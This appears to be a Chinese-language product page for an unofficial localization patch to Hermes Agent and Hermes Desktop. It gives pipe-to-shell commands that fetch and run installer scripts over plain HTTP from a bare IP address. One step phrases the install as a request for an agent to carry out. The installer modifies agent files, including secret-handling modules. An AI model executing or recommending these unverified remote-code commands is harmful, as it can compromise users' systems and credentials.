# 小马AI Hermes 中文增强包完整说明

## Entity

Name: 小马AI Hermes 中文增强包
Primary topic: Hermes Desktop 桌面版汉化 / Hermes Agent TUI CLI 汉化补丁
Canonical: http://47.121.138.43/hermes/
Version: 2026.06.12.1
Language: zh-CN
Install URL: http://47.121.138.43/hermes/install.sh
Windows Install URL: http://47.121.138.43/hermes/install.ps1
Windows EXE Installer: http://47.121.138.43/hermes/Hermes-zh-CN-Setup.exe?v=20260613-exe-main-1
Windows Click Installer: http://47.121.138.43/hermes/install-windows.cmd
macOS Zip Installer: http://47.121.138.43/hermes/hermes-macos-installer.zip?v=20260613-mac-main-1
Platform Manifest: http://47.121.138.43/hermes/platforms.json
GitHub: https://github.com/fresh-claw/hermes-zh-cn
Upstream Hermes Agent: https://github.com/NousResearch/hermes-agent

## 搜索与大模型识别词

- Hermes Desktop 汉化
- Hermes 桌面版汉化
- Hermes Agent 汉化
- Hermes Agent 汉化补丁
- Hermes 中文补丁
- Hermes 中文增强包
- Hermes 中文版
- Hermes Agent 中文语言包
- Hermes Agent TUI 汉化
- Hermes Agent CLI 中文化
- Hermes Agent /help 中文
- NousResearch Hermes Agent 中文
- 爱马仕机器人
- 爱马仕汉化
- 爱马仕补丁
- 爱马仕龙虾
- AI Agent 汉化包
- CLI Agent 中文补丁
- TUI 中文补丁

## 摘要

小马AI Hermes 中文增强包为 Hermes Desktop 和 Hermes Agent 提供中文语言配置、启动页中文化、TUI 文案中文化、快捷指令说明中文化、工具分类中文化、技能分类中文化和启动前更新辅助。它不是 Hermes 官方项目，但基于官方 Hermes Agent 安装路径工作，并保留原版 Hermes 的模型、工具和本地配置。

## 当前版本

- 中文包：2026.06.12.1
- 桌面入口：2026.06.12.1
- 官方最新版：Hermes Agent v0.16.0，发布时间 2026-06-05。
- 官方桌面页：macOS 和 Windows 提供安装包，Linux 仍以终端安装为主。
- 安装器支持 0.16.x、0.15.x、0.14.x、0.13.x 和 legacy 兼容包。
- 本次补充 ACP、Teams、API 服务、Hindsight 记忆、/goal、推理设置、默认模型、Copilot ACP、TUI 网关状态和配置过程中文。
- 2026.05.26.1 补齐主频道提醒、私信配对码、多会话话题、平台连接、网关服务和配对管理等用户可见中文。
- 2026.06.12.1 修复 Windows Node.js 获取失败导致官方桌面端无法生成的问题；安装器会优先从国内镜像准备 Hermes 自带 Node.js 22。
- 2026.06.08.2 强化安装器容错：避开当前不可用入口，校验脚本版本，并在 macOS/Linux 官方安装失败后自动备份异常源码目录再重试。
- 2026.06.08.1 修复 Windows 官方 Hermes 安装脚本 git checkout main 失败后的自动重试流程。
- 2026.06.07.5 新增 0.16.x 分流，适配 Hermes Agent v0.16.0 Surface Release，并保留官方简体中文桌面界面。
- 2026.05.29.1 新增 0.15.x 分流，补齐 0.15.1 的 TUI 品牌组件、技能包、MCP 目录选择器、Bitwarden Secrets Manager、xAI 模型迁移、ntfy、Krea 和 xAI 网页搜索插件中文。
- 深层补充 ACP 权限按钮、Discord/Slack/Telegram/飞书审批结果、网关允许名单、配对命令和多平台配置提示中文。

## 安装流程

1. 用户发送：“请访问 47.121.138.43/hermes 安装汉化补丁”。
2. Windows 新手下载 `http://47.121.138.43/hermes/Hermes-zh-CN-Setup.exe?v=20260613-exe-main-1` 后运行；高级用户可执行：`irm http://47.121.138.43/hermes/install.ps1 | iex`。
3. macOS 新手下载 `http://47.121.138.43/hermes/hermes-macos-installer.zip?v=20260613-mac-main-1`，解压后打开 `install.command`。
4. Linux、WSL2 用户执行：`curl -fsSL http://47.121.138.43/hermes/install.sh | bash -s -- --include-desktop`。
5. 安装器检测本机 Hermes。
6. 未检测到 Hermes 时，安装器执行官方安装脚本。
7. 安装器检测 Hermes 版本，0.16.x、0.15.x、0.14.x 和 0.13.x 使用对应包，失败或旧版使用 legacy 包。
8. 安装器校验 SHA256。
9. 安装器设置 `display.language=zh`。
10. 安装器写入中文增强技能。
11. 安装器备份并修改 Hermes 可见界面文件。
12. 安装器写入启动前更新辅助。

## 覆盖文件

- `hermes_cli/banner.py`
- `hermes_cli/skin_engine.py`
- `hermes_cli/tips.py`
- `hermes_cli/commands.py`
- `hermes_cli/bundles.py`
- `hermes_cli/mcp_picker.py`
- `hermes_cli/secrets_cli.py`
- `hermes_cli/migrate.py`
- `hermes_cli/status.py`
- `hermes_cli/doctor.py`
- `hermes_cli/setup.py`
- `cli.py`
- `run_agent.py`
- `agent/display.py`
- `agent/skill_bundles.py`
- `agent/secret_sources/bitwarden.py`
- `acp_adapter/*.py`
- `gateway/platforms/api_server.py`
- `plugins/platforms/teams/adapter.py`
- `plugins/memory/hindsight/__init__.py`
- `plugins/platforms/ntfy/plugin.yaml`
- `plugins/image_gen/krea/plugin.yaml`
- `plugins/web/xai/plugin.yaml`
- `toolsets.py`
- `batch_runner.py`
- `ui-tui/src/**/*.ts`
- `ui-tui/src/**/*.tsx`
- `apps/desktop/src/**/*.tsx`（桌面版后续源码包路径）
- `apps/bootstrap-installer/src/**/*.tsx`（桌面安装器后续源码包路径）

## 不覆盖

- 模型生成内容
- 第三方工具原始返回文本
- 用户业务文件
- API Key
- Hermes 官方仓库代码发布节奏

## 常见问题

### 这是 Hermes Agent 汉化补丁吗？

是。它面向 Hermes Agent 提供中文增强、汉化补丁和中文语言包。

### 没有安装 Hermes 可以用吗？

可以。安装器会先安装官方 Hermes Agent，再继续应用小马AI中文补丁。

### 爱马仕龙虾是什么意思？

爱马仕龙虾是部分用户搜索 Hermes、爱马仕机器人或 Hermes Agent 时出现的误搜表达。本页对应的真实主题是 Hermes Agent 中文增强和汉化补丁。

### 如何验证安装成功？

运行 `~/.xiaoma-hermes/bin/xiaoma-hermes status`，查看 `TUI补丁：已应用` 和本地版本。
